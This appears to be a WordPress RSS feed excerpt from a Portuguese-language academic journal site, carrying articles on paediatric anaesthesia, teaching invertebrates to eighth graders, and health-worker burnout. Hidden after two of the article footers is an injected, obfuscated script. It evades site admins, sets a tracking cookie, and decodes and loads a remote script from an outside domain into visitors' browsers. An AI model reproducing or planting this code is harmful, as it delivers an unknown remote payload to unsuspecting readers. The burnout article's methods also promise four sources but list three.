<p class="wp-block-paragraph">SHAH, R.D., SURESH, S. Applications of regional anaesthesia in paediatrics (2013). Br J Anaesth. 111 Suppl 1:i114-24. doi: 10.1093/bja/aet379.&nbsp;</p>



<p class="wp-block-paragraph">TAVARES, N.C., et al. Anestesia &nbsp; Regional &nbsp; e &nbsp; Bloqueios &nbsp; Nervosos: &nbsp; Uma análise das técnicas de anestesia regional, incluindo bloqueios nervosos periféricos e raquianestesia, e suas aplicações em cirurgias específicas (2023). Braz J Implant Health Sciences. 5(5):448-459.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente da Residência Médica de Anestesiologia da Santa Casa de Franca, São Paulo. e-mail: <a href="mailto:biabarufi@hotmail.com">biabarufi@hotmail.com</a> <br><sup>2</sup>Docente Assistente da Residência Médica de Anestesiologia da Santa Casa de Franca, São Paulo. e-mail: <a href="mailto:guilhermegroto@usp.br">guilhermegroto@usp.br</a></p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ANÁLISE DE SEQUÊNCIA DIDÁTICA SOBRE INVERTEBRADOS DESENVOLVIDA EM UMA TURMA DE 8° ANO DURANTE A RESIDÊNCIA PEDAGÓGICA</title>
		<link>https://revistaft.com.br/analise-de-sequencia-didatica-sobre-invertebrados-desenvolvida-em-uma-turma-de-8-ano-durante-a-residencia-pedagogica/</link>
		
		<dc:creator><![CDATA[Revistaft MA]]></dc:creator>
		<pubDate>Sat, 17 Jan 2026 14:15:35 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=262894</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ma10202601171115 Maria Eduarda da Silva1Vitória Cristina dos Reis Lino1Nilton Luiz Souto2 RESUMO&#160;&#160; O objetivo deste trabalho é analisar uma Sequência Didática (SD) relacionada ao tema “invertebrados”, planejada por estudantes do Curso de Licenciatura em Ciências Biológicas do Instituto Federal de Educação, Ciência e Tecnologia do Sul de Minas (IFSULDEMINAS), participantes do Programa de Residência [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ma10202601171115</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Maria Eduarda da Silva<sup>1</sup><br>Vitória Cristina dos Reis Lino<sup>1</sup><br>Nilton Luiz Souto<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O objetivo deste trabalho é analisar uma Sequência Didática (SD) relacionada ao tema “invertebrados”, planejada por estudantes do Curso de Licenciatura em Ciências Biológicas do Instituto Federal de Educação, Ciência e Tecnologia do Sul de Minas (IFSULDEMINAS), participantes do Programa de Residência Pedagógica (PRP). A SD foi desenvolvida em 2023 na disciplina Ciências, junto a uma turma do 8º Ano do Ensino Fundamental de uma escola campo participante do PRP. O trabalho possui um método qualitativo, do tipo pesquisa descritiva, feita em forma de relato de experiência. Para verificar o conhecimento dos alunos a respeito do conteúdo, foram aplicados questionários pré e pós o desenvolvimento da SD. A análise dos dados revelam ter havido ampliação na compreensão dos alunos em relação às características, a classificação, a exemplos e a importância dos invertebrados.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: Formação de professores; metodologia de ensino; ciências.&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>1. Introdução  </strong></p>



<p class="wp-block-paragraph">O Programa de Residência Pedagógica (PRP), é uma iniciativa voltada para a formação inicial de professores, oportunizando aos alunos dos cursos de licenciaturas, a vivência da profissão, de forma dinâmica. A possibilidade de ter contato com a prática a partir de um programa voltado para a formação inicial, favorece a construção de bases teóricas capazes de fortalecer a prática docente.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O PRP está inserido no contexto das políticas neoliberais e repercute sua agenda global no que se refere à formação de professores, ou seja, o esvaziamento de conhecimentos gerais e de uma ampla formação cultural, em favor de uma formação assentada, principalmente, no desenvolvimento de competências e habilidades no âmbito didático pedagógico.  </p>



<p class="wp-block-paragraph">O subprojeto do PRP da área Ciências Biológicas no Campus Inconfidentes, contou no ano de 2024, com 30 licenciandos, que cumpriram uma carga horária de 30 horas semanais, sendo orientados por três professores supervisores, docentes em escolas públicas localizadas nos municípios de Inconfidentes, sul do Estado de Minas Gerais.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O desenvolvimento do Edital Nº 24/2022 do PRP, durante os anos 2023 e 2024, junto aos estudantes do Curso de Licenciatura em Ciências Biológicas do IFSULDEMINAS, Campus Inconfidentes resultaram no desenvolvimento de várias atividades relacionadas à prática docente. Entre as atividades realizadas estavam o planejamento e a aplicação de Sequências Didáticas (SD), caracterizadas por uma série de atividades que criam um ambiente que facilita e torna atrativo o ensino (Barbosa, 2002). </p>



<p class="wp-block-paragraph">Este trabalho tem como objetivo analisar os resultados obtidos com a aplicação de uma SD sobre “invertebrados”, durante as aulas de Ciências, em uma turma de 8º Ano da Escola Estadual Felipe dos Santos, escola campo do PRP. Para atingir esse objetivo, buscou-se: planejar uma SD com o tema “invertebrados”, aplicar um questionário pré e pós o desenvolvimento da SD e analisar os resultados obtidos.  </p>



<p class="wp-block-paragraph"><strong>2. MATERIAL E MÉTODOS  </strong></p>



<p class="wp-block-paragraph">O trabalho possui um método qualitativo, do tipo pesquisa descritiva, feita em forma de relato de experiência desenvolvido durante a participação no PRP do curso de Licenciatura em Ciências Biológicas do IFSULDEMINAS, Campus Inconfidentes. As pesquisas por método qualitativo tentam compreender um fenômeno, o qual leva em conta a interpretação vista por parte do pesquisador e não a quantidade dos dados obtidos (Pereira, et al., 2018). Já o objetivo das pesquisas descritivas é descrever as características de um determinado fenômeno, onde os fatos são observados, analisados e interpretados, os quais irão confrontar a teoria com a realidade (Gil, 2002).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A participação no PRP teve início em agosto de 2023, na Escola Estadual Felipe dos Santos, localizada no município de Inconfidentes/MG, durante as aulas de Ciências junto a uma turma de 8° Ano do Ensino Fundamental.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nos meses de agosto e setembro de 2023, um grupo de pibidianos constituído por 4 pessoas, planejaram e desenvolveram uma SD relacionada ao tema “invertebrados”. As atividades objetivaram proporcionar aos alunos a observação, a reflexão, a manipulação, a pesquisa e a socialização dos resultados.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O eixo norteador da SD consistiu no levantamento e na valorização dos conhecimentos prévios dos alunos por meio da aplicação de um questionário. De posse das informações, foram desenvolvidas as seguintes atividades: exposição oral dialogada por meio do uso de imagens (slides), visita ao museu, orientações para a realização de pesquisa e socialização das informações por parte dos alunos. Neste cenário, os pibidianos e a professora supervisora atuaram como mediadores da aprendizagem.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Ao final das atividades o questionário inicial foi reaplicado com o objetivo de verificar o nível de conhecimento dos alunos a partir da SD desenvolvida.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. RESULTADOS E DISCUSSÃO  </strong></p>



<p class="wp-block-paragraph">A primeira regência planejada e desenvolvida com a turma do 8°ano abordou o tema “invertebrados”. Estudos desenvolvidos por Carretero (1997) e Gil-Perez (1994) revelam a importância de serem considerados os conhecimentos que os alunos possuem, em especial, os científicos, que não foram ensinados pela escola. Assim, com o objetivo de levantar o conhecimento prévio dos alunos, foi elaborado e aplicado um questionário contendo questões abertas e fechadas, que buscavam identificar os saberes dos alunos relacionados às características, a classificação, a exemplos e a importância do grupo.  </p>



<p class="wp-block-paragraph">Antes da realização da SD, foram aplicados 22 questionários. Os dados obtidos por meio das respostas revelaram que seis alunos tinham pouco conhecimento sobre o assunto e serviram para o planejamento de um conjunto de ações didático pedagógicas, caracterizadas pela exposição oral dialogada, a qual possibilitou aos alunos a obtenção, a organização dos dados e a síntese do conteúdo.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Apesar da aula expositiva dialogada ser considerada um método tradicional, esta apresenta fundamental relevância no ensino, uma vez que permite um diálogo entre professor e alunos, havendo espaços para questionamentos, críticas e discussões (Hartmann et. al., 2019).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Também foram utilizadas apresentações de slides contendo imagens e explicações sobre os invertebrados, começando com uma introdução do tema, seguida de informações sobre os filos Arthropoda, porífera, cnidária, anelídea e equinodermos. Estudos desenvolvidos por Martelli (2003) e Souza (2020), revelam que a utilização de imagens amplia as possibilidades de aprendizagem dos alunos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Marandino (2009), é indiscutível a importância dos museus de ciência naturais no que diz respeito à educação e a popularização da ciência para os cidadãos. Neste sentido e com o objetivo de enriquecer os conhecimentos e diminuir a abstração dos alunos em relação ao tema “invertebrados”, foi planejada e desenvolvida uma visita ao Museu de História Natural “Professor Laércio Loures” do IFSULDEMINAS, campus Inconfidentes.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Como tarefa a ser realizada em casa, os alunos escolheram um animal e fizeram uma breve pesquisa. Os dados levantados pelos alunos frente ao animal escolhido foram apresentados nas aulas seguintes. Durante as apresentações, os alunos socializaram informações relacionadas ao habitat e ao nicho ecológico dos animais escolhidos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Após o desenvolvimento das regências, o questionário foi reaplicado aos mesmos 22 alunos com o objetivo de comparar os conhecimentos manifestados em relação à primeira aplicação. Os dados obtidos por meio das respostas revelaram que os conhecimentos dos alunos a respeito dos invertebrados aumentaram, visto que cinco alunos acertaram todas as questões, quatorze alunos acertaram quatro questões e três alunos acertaram duas questões.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Foram evidenciadas contribuições da SD, em especial, a diminuição da abstração do conteúdo e a interação entre os alunos, a professora e os pibidianos. Em contrapartida, o tempo, caracterizado por duas aulas semanais de 50 minutos cada, foi um fator limitador para o desenvolvimento de outras ações.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. CONCLUSÃO </strong></p>



<p class="wp-block-paragraph">Diferentemente das atividades de estágio, o Programa de Residência Pedagógica possibilitou maior liberdade para a exposição das ideias e auxílios por parte dos estudantes do curso de Licenciatura em Ciências Biológicas do IFSULDEMINAS, campus Inconfidentes.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os alunos da educação básica que participaram da SD foram comprometidos e dedicados em realizar as atividades, demonstrando interesse.  </p>



<p class="wp-block-paragraph">As SDs configuram-se como uma estratégia que possibilita aos estudantes compreender que o conhecimento científico é baseado em um modelo que compreende a observação, a problematização, o levantamento de hipóteses e a experimentação.  </p>



<p class="wp-block-paragraph">O uso de imagens durante a aula expositiva dialogada e a visita ao Museu contribuíram para diminuir a abstração das informações.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A visita ao Museu é uma atividade que chama muita atenção dos alunos, pelo simples fato de sair de dentro da sala de aula, e ir a um local que dá mais liberdade aos alunos, isso contribui muito no aprendizado.  </p>



<p class="wp-block-paragraph">Os resultados revelam que as aulas de Ciências podem ser mais mobilizadoras se os alunos forem convidados a se responsabilizarem por seu aprendizado, como foi o caso da proposta de pesquisa e socialização das informações relacionadas aos invertebrados.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Usar o questionário de uma forma avaliativa fez com que os alunos se dedicassem mais na aula,chamando mais a atenção para a parte teórica e explicativa, pelo fato de estarem comprometidos em refazer o questionário com a intenção de responder todas questões sem erros.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As respostas dos alunos no questionário pré e pós o desenvolvimento da SD revelam ter havido ampliação em sua compreensão em relação às características, a classificação, a exemplos e a importância dos invertebrados. Espera-se que as reflexões presentes neste trabalho contribuam para os processos de ensino e aprendizagem nas aulas sobre “invertebrados”.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Referências&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">BARBOSA, Ruy Madsen. <strong>Descobrindo a geometria fractal: </strong>para a sala de aula. Belo Horizonte: Autêntica, 2002.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">CARRETERO, M. <strong>Construtivismo e Educação. </strong>Porto Alegre: Artes Médicas, 1997. GIL, A. C. <strong>Como elaborar projetos de pesquisa</strong>. 4. ed. São Paulo: Atlas, 2002.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">GIL-PEREZ, D. Diez años de investigación en didáctica de las ciencias: realizaciones y perspectivas. <strong>Enseñanza de las Ciencias</strong>, v. 12, nº 2, p. 154-164, 1994.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">HARTMANN, A. C.; MARONN, T. G.; SANTOS, E. G. A importância da aula expositiva dialogada no ensino de ciências e biologia. <strong>Anais do II Encontro de Debates Sobre Trabalho, Educação e Currículo Integrado</strong>. v.1 n. 1. Universidade Regional do Noroeste do Estado do Rio Grande do Sul, 2019. Disponível em:  https://publicacoeseventos.unijui.edu.br/index.php/enteci/article/view/11554 Acessado em 30/08/2024.  </p>



<p class="wp-block-paragraph">MARANDINO, M. Museus de ciências, coleções e educação: relações necessárias. Revista Eletrônica do Programa de Pós-Graduação em Museologia e Patrimônio – PPG-PMUS Unirio. Disponível em:  http://www.geenf.fe.usp.br/v2/wp-content/uploads/2012/10/museologia_marandino2009.pdf Acessado em: 30/08/2024.  </p>



<p class="wp-block-paragraph">MARTELLI, J. M. O uso da imagem na pesquisa educacional. In: <strong>26ª. Reunião Anual da ANPED</strong>. O Papel histórico da ANPED na produção de políticas educacionais, 2003. Poços de Caldas. Anais. Poços de Caldas, 2003.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">PEREIRA, A. S. et al. <strong>Metodologia da Pesquisa Científica</strong>. 1. ed. Santa Maria: NTE, 2018. Disponível em: https://repositorio.ufsm.br/handle/1/15824 Acesso em: 01/05/2024.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">SOUZA, J. A. A importância da imagem no ensino de biologia e proposta de uma sequência didática para seu uso. <strong>Tese de Mestrado Profissional em Ensino de Biologia em Rede Nacional PROFBIO, do Instituto de Ciências Biológicas, da Universidade Federal de Brasília.&nbsp;</strong>Brasília/DF, 2020. Disponível em:&nbsp; http://icts.unb.br/jspui/bitstream/10482/41099/1/2020_JessilaneAlvesdeSouza.pdf Acessado em: 30/08/2024.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discentes do curso de Licenciatura em Ciências Biológicas, IFSULDEMINAS &#8211; Campus Inconfidentes. E-mail: maria8.silva@alunos.ifsuldeminas.edu.br; vitoria.reis@alunos.ifsuldeminas.edu.br.  <br><sup>2</sup>Docente, IFSULDEMINAS &#8211; Campus Inconfidentes. E-mail: nilton.souto@ifsuldeminas.edu.br. </p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>QUEM CUIDA DE QUEM CUIDA? O AVANÇO DA SÍNDROME DE BURNOUT NO SISTEMA DE SAÚDE DE PAÍSES EM DESENVOLVIMENTO, COMO O BRASIL E A SOMÁLIA </title>
		<link>https://revistaft.com.br/quem-cuida-de-quem-cuida-o-avanco-da-sindrome-de-burnout-no-sistema-de-saude-de-paises-em-desenvolvimento-como-o-brasil-e-a-somalia/</link>
		
		<dc:creator><![CDATA[Revistaft DT]]></dc:creator>
		<pubDate>Wed, 24 Dec 2025 11:25:33 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Ciências da Saúde]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=261034</guid>

					<description><![CDATA[WHO CARES FOR THE CAREGIVERS?THE RISE OF BURNOUT SYNDROME IN THE HEALTHCARE SYSTEMS OF DEVELOPING COUNTRIES, SUCH BRAZIL AND SOMALIA  REGISTRO DOI: 10.69849/revistaft/dt10202512240810 Giordano de Toledo Palumbo Walderrama1Pedro Staciarini Silveira Rodrigues2 RESUMO Este artigo analisa a Síndrome de Burnout (SB) em profissionais de saúde da linha&#160; de frente, com foco em países de baixa e média [&#8230;]]]></description>
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<p class="wp-block-paragraph">WHO CARES FOR THE CAREGIVERS?THE RISE OF BURNOUT SYNDROME IN THE HEALTHCARE SYSTEMS OF DEVELOPING COUNTRIES, SUCH BRAZIL AND SOMALIA </p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/dt10202512240810</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Giordano de Toledo Palumbo Walderrama<sup>1</sup><br>Pedro Staciarini Silveira Rodrigues<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">Este artigo analisa a Síndrome de Burnout (SB) em profissionais de saúde da linha&nbsp; de frente, com foco em países de baixa e média renda, como Somália e Brasil. Trata-se de&nbsp; uma revisão de escopo focado baseada em quatro fontes científicas principais. Os resultados&nbsp; indicam uma prevalência de SB em torno de 25% nos contextos analisados, com fatores&nbsp; preditores variando entre gênero, carga horária e tempo de experiência. A pandemia de&nbsp; COVID-19 é identificada como o principal agravante contemporâneo. Conclui-se que a&nbsp; sustentabilidade dos sistemas de saúde depende de intervenções urgentes na gestão do&nbsp; trabalho e no suporte mental dos profissionais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Síndrome de Burnout¹. Profissionais de Saúde². Saúde Pública³. COVID-19 <sup>4</sup>.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">This article analyzes Burnout Syndrome (BS) among frontline healthcare&nbsp; professionals, focusing on low- and middle-income countries, such as Somalia and, to a lesser&nbsp; extent, Brazil. It is a focused scope literature review based on four specific scientific sources.&nbsp; The results indicate a BS prevalence of approximately 25% across the analyzed contexts, with&nbsp; predictive factors ranging from gender and marital status to workload rigidity and&nbsp; professional experience. The COVID-19 pandemic is identified as the primary contemporary&nbsp; aggravating factor, exacerbating emotional exhaustion due to prolonged exposure to high stress environments. The study concludes that the sustainability of healthcare systems,&nbsp; particularly in developing nations, depends on urgent management interventions, including&nbsp; workload adjustment and continuous mental health support for professionals.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Burnout Syndrome¹. Healthcare Professionals². Public Health³. COVID-19 <sup>4</sup>.</p>



<p class="wp-block-paragraph"><strong>1</strong>. <strong>INTRODUÇÃO </strong></p>



<p class="wp-block-paragraph">A Síndrome de Burnout (SB) foi caracterizada pioneiramente por Freudenberger [1] em 1974&nbsp; como um estado de exaustão decorrente de demandas excessivas de energia e recursos no&nbsp; ambiente de trabalho. Posteriormente, o conceito foi refinado por Maslach et al. [2] como um&nbsp; construto multidimensional que envolve a <strong>exaustão emocional (EE)</strong>, a <strong>despersonalização&nbsp; (DP) </strong>e a <strong>redução da realização pessoal (RP)</strong>. Embora seja um fenômeno global, a SB&nbsp; manifesta-se com particular gravidade entre profissionais de saúde da linha de frente, cujas&nbsp; pressões interpessoais e riscos ocupacionais os colocam em um grupo de vulnerabilidade&nbsp; crítica.&nbsp;</p>



<p class="wp-block-paragraph">A disparidade no enfrentamento desta síndrome é evidente ao comparar diferentes contextos&nbsp; socioeconômicos. Em países de baixa e média renda, o sistema de saúde enfrenta desafios&nbsp; estruturais crônicos, como a escassez de profissionais e a sobrecarga resultante da alta&nbsp; demanda por serviços. Na África Subsaariana, especificamente na <strong>Somália</strong>, a escassez de&nbsp; pesquisas locais sobre a magnitude do Burnout mascara uma realidade onde a prevalência&nbsp; pode atingir até 80%, influenciada por fatores como longos turnos e precariedade de recursos.&nbsp; No <strong>Brasil</strong>, embora existam mais dados consolidados, a realidade da linha de frente — exemplificada pelos técnicos de enfermagem em Unidades de Terapia Intensiva (UTI) — revela que o contato direto e prolongado com o sofrimento e o risco de morte são preditores&nbsp; centrais para o esgotamento.&nbsp;</p>



<p class="wp-block-paragraph">Um divisor de águas na análise do Burnout foi a pandemia de COVID-19. Este período&nbsp; atípico exacerbou a relação direta entre o <strong>tempo de exposição ao trabalho </strong>e o&nbsp; desenvolvimento da patologia. O espectro clínico grave da doença exigiu um esforço hercúleo&nbsp; dos profissionais, que enfrentaram jornadas exaustivas e falta de preparo emocional para lidar&nbsp; com demandas inéditas. Como resposta a esses estressores crônicos, a SB não apenas&nbsp; compromete o desempenho profissional e a segurança do paciente, mas também desencadeia&nbsp; graves consequências físicas e psíquicas, incluindo distúrbios cardiovasculares, ansiedade e&nbsp; depressão.&nbsp;</p>



<p class="wp-block-paragraph">Diante desse cenário, torna-se imperativo investigar os fatores preditores da SB em contextos&nbsp; de alta pressão e poucos recursos. Entender como variáveis sociodemográficas e a carga&nbsp; horária excessiva interagem na saúde mental desses trabalhadores é fundamental para que&nbsp; medidas ágeis de proteção sejam adotadas, garantindo a sustentabilidade dos sistemas de&nbsp; saúde, principalmente, em nações em desenvolvimento, como é o caso do Brasil.</p>



<p class="wp-block-paragraph"><strong>2. MATERIAIS E MÉTODOS&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão de literatura de escopo focado. O objetivo metodológico não é&nbsp; realizar uma revisão sistemática exaustiva de todo o campo da dependência digital, mas sim&nbsp; sintetizar e analisar qualitativamente os dados específicos contidos exclusivamente nas quatro&nbsp; fontes de pesquisa fornecidas¹ para construir uma narrativa coesa sobre o tema. Os &#8220;materiais&#8221; ou &#8220;instrumentos&#8221;¹ utilizados para esta análise foram os quatro artigos&nbsp; científicos pré-selecionados, cada um fornecendo uma perspectiva metodológica distinta&nbsp; sobre o problema:&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">1. Um estudo transversal prospectivo (2025) realizado com 246 profissionais de saúde  empregados em um hospital terciário em Mogadíscio, Somália, por Nur Adam Mohamed,  Yusuf Abdirisak Mohamed, Rahma Yusuf Haji Mohamud e Adan Ali Gabow. Neste estudo, os  dados foram coletados por meio da aplicação de questionários que abrangiam características  sociodemográficas, psicológicas, relacionadas ao trabalho e à síndrome de Burnout. Os  resultados foram apresentados utilizando razões de chances ajustadas (AORs), intervalos de  confiança de 95% (IC 95%) e calores p, com um ponto de corte de 0,05. </p>



<p class="wp-block-paragraph">2. Um estudo transversal descritivo(2021) de Ronilson Ferreira Freitas, Ione Medeiros de  Barros, Marco Antônio Freitas Miranda, Tahiana Ferreira Freitas, Joasiane Santos Brant  Rocha e Angelina do Carmo Lessa, realizado com 94 técnicos de enfermagem de terapia  intensiva. Para isso, foram utilizados: um formulário de coleta de dados sociodemográficos,  ocupacionais e comportamentais e o <em>Maslach Burnout Inventory </em>(MBI) em sua versão <em>Human Services Survey </em>(HSS). Assim, a associação entre as variáveis estudadas e a prevalência da  síndrome de Burnout foi verificada por análise bivariada seguida de regressão de Poisson  hierarquizada, com variância robusta.  </p>



<p class="wp-block-paragraph">3. Um artigo de revisão de literatura(2025) de José I. M. B. Júnior, Danilo C. Shockness,&nbsp; Cícero J. L. Costa, Marcela G. de L. M. Freire, Ana Beatriz R. C. Silva, Eduardo S. do Ó,&nbsp; Juan C. Mosqueda, Maria C. N. Saraiva, Fernanda G. de M. Sales e Lara M. de S. Benjamin,&nbsp; que tem como objetivo identificar o panorama atual do Burnout entre profissionais da saúde&nbsp; após a pandemia, com ênfase na identificação dos fatores de risco, consequências e estratégias&nbsp; de enfrentamento.&nbsp;</p>



<p class="wp-block-paragraph">O &#8220;método de análise dos dados&#8221; ¹consistiu em uma síntese qualitativa e comparativa. Os  achados de cada fonte foram extraídos, analisados e justapostos para construir um modelo explicativo unificado. A análise focou em identificar os fatores determinantes ¹, agravantes¹ e  as consequências causadas pela síndrome de Burnout nos trabalhadores e no sistema de  saúde ¹, seguindo uma lógica causal que vai das causas para as consequências. </p>



<p class="wp-block-paragraph"><strong>3. RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A prevalência da Síndrome de Burnout encontrada nos estudos variou entre 24% em&nbsp; profissionais de saúde em Mogadíscio, Somália, e 25,5% entre técnicos de enfermagem&nbsp; intensivistas no Brasil. Estes dados corroboram a literatura que posiciona os trabalhadores da&nbsp; saúde como um grupo de alto risco global para o esgotamento profissional.&nbsp; Nesse aspecto, os principais determinantes da síndrome de Burnout (SB) refletem uma&nbsp; combinação de vulnerabilidades individuais e pressões do ambiente de trabalho. Na Somália,&nbsp; o gênero feminino apresentou uma chance 6,6 vezes maior de desenvolver a síndrome em&nbsp; comparação aos homens. Outros fatores significativos incluíram o estado civil (casados,&nbsp; divorciados ou viúvos apresentaram maior risco que solteiros) e a baixa experiência&nbsp; profissional (menos de 5 anos de carreira).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">No contexto brasileiro, especificamente entre técnicos de enfermagem em UTIs, os principais&nbsp; preditores foram:&nbsp;&nbsp;</p>



<ul class="wp-block-list">
<li>Idade superior a 36 anos; </li>



<li>Carga horária de trabalho rígida; </li>



<li>Realização de horas extras; </li>



<li>Hábito etilista.  </li>
</ul>



<p class="wp-block-paragraph">Nesse sentido, alguns fatores podem acentuar a persistência e o aparecimento da SB, sendo os  principais dentre eles avaliados nas pesquisas realizadas a precariedade do sistema de saúde, a  qual está atrelada principalmente aos países em desenvolvimento e ocasiões em que os  profissionais estão sobrecarregados e estressados. Sob essa ótica, a pandemia da COVID-19  atuou como um catalisador de estresse, especialmente em sistemas de saúde já fragilizados.  Na Somália, a sobrecarga de trabalho (mais de 50 horas semanais) e a realização de sete ou  mais plantões noturnos por mês triplicaram a probabilidade de Burnout. O sistema de saúde  somali, marcado pela escassez de profissionais e demanda crescente, torna os trabalhadores  particularmente vulneráveis ao esgotamento emocional devido à falta de recursos adequados.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1. </strong>Distribuição (%) da síndrome de Burnout segundo características sociodemográficas, ocupacionais e  comportamentais dos técnicos de enfermagem da unidade de terapia intensiva durante a pandemia da COVID-19</p>



<p class="has-text-align-center wp-block-paragraph"></p>



